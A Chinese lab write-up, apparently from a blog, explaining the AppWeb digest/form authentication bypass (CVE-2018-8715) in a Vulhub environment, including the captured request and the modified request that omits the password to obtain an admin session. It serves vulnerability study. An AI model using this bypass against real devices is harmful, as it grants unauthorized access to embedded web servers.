Vulhub 漏洞学习之:AppWeb

1 AppWeb认证绕过漏洞(CVE-2018-8715)

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。使用C/C++来编写,主要的应用场景是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

  • basic 传统HTTP基础认证
  • digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
  • form 表单认证

1.1 漏洞利用原理

AppWeb 7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

参考链接

1.2 漏洞利用过程

  1. 利用前提:需要获得一个已存在的用户名,当前环境下用户名为admin

  2. 访问目标网站尝试登录,获得登录请求报文

    GET / HTTP/1.1
    Host: 192.168.210.13:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Mon, 10 Aug 2020 17:10:05 GMT
    If-None-Match: 1598657975
    Authorization: Digest username="admin", realm="example.com", nonce="OTllOTRhNWU1NmY1OWFhYzpleGFtcGxlLmNvbToxN2U1NmQ4Y2M4YTo3ZQ==", uri="/", algorithm=MD5, response="c765496678345b5122e32b1839fba67f", opaque="799d5", qop=auth, nc=00000001, cnonce="b99d6d92986e8883"

  3. 修改登录请求报文如下:

    GET / HTTP/1.1
    Host: 192.168.210.13:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Mon, 10 Aug 2020 17:10:05 GMT
    If-None-Match: 1598657975
    Authorization: Digest username="admin"

    由于我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session:

  4. 设置这个 session 到浏览器,即可正常访问需要认证的页面:

最新文章

  1. dentry与inode有什么联系和区别
  2. Idea 常用快捷键列表
  3. Ubuntu下vsftpd配置实例,超级简单,高度可用
  4. makefile生成静态库和动态库
  5. SSE及相关技术(web sockets, long polling等)
  6. IIS负载均衡相关
  7. R语言结合概率统计的体系分析---数字特征
  8. 浅谈Javascript中的Label语句
  9. Arrays的二分查找
  10. iOS依赖库管理工具之Carthage
  11. Pyinstaller打包selenium去除chromedriver黑框问题解决!!!
  12. Linux vfpd锁定用户目录
  13. [dpdk] SDK编译-简单扼要版
  14. 记录Python类与继承的一个错误
  15. C#设计模式(6)——原型模式(Prototype Pattern) C# 深浅复制 MemberwiseClone
  16. 【转载】css3动画简介以及动画库animate.css的使用
  17. EPANET头文件解读系列5——TYPES.H
  18. Mongodb 集群加keyFile认证
  19. 数论入门2——gcd,lcm,exGCD,欧拉定理,乘法逆元,(ex)CRT,(ex)BSGS,(ex)Lucas,原根,Miller-Rabin,Pollard-Rho
  20. (转)Inno Setup入门(七)——提供安装语言选项

热门文章

  1. AI绘画提示词创作指南:DALL·E 2、Midjourney和 Stable Diffusion最全大比拼 ⛵
  2. DHorse的链路追踪
  3. 【Hadoop学习】中:HDFS、shell操作、客户端API操作、数据流、1NN、2NN原理、DataNode配置
  4. 【大数据面试】【框架】Hive:架构、计算引擎、比较、内外部表、by、函数、优化、数据倾斜、动静态分区
  5. 持续发烧,聊聊Dart语言的并发处理,能挑战Go不?
  6. 二阶段目标检测网络-FPN 详解
  7. Jmeter 之提取的值为null时,if控制器中的判断表达式
  8. @Data加在子类上,子类无法获取父类的属性
  9. 【ASP.NET Core】按用户角色授权
  10. 【Allwinner】---全志GPIO号 计算